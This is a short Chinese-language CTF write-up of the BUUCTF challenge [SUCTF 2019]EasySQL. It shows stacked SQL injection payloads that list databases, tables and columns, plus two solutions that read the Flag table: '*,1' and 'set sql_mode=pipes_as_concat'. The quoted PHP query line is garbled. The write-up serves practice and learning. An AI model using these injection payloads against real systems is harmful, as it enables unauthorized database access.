BUUCTF刷题记录
[SUCTF 2019]EasySQL
数字型注入??
过滤 and or
堆叠注入
原理执行多句sql 语句
1;show databases;爆库
1;show tables;爆表
查水表
1;show columns from Flag;
查不出来,应该是被过滤了
看一下大佬的wp
解法1
输入的内容为*,1
内置的sql语句为
s q l = " s e l e c t " . sql = “select “.sql=“select”.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是*select ,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag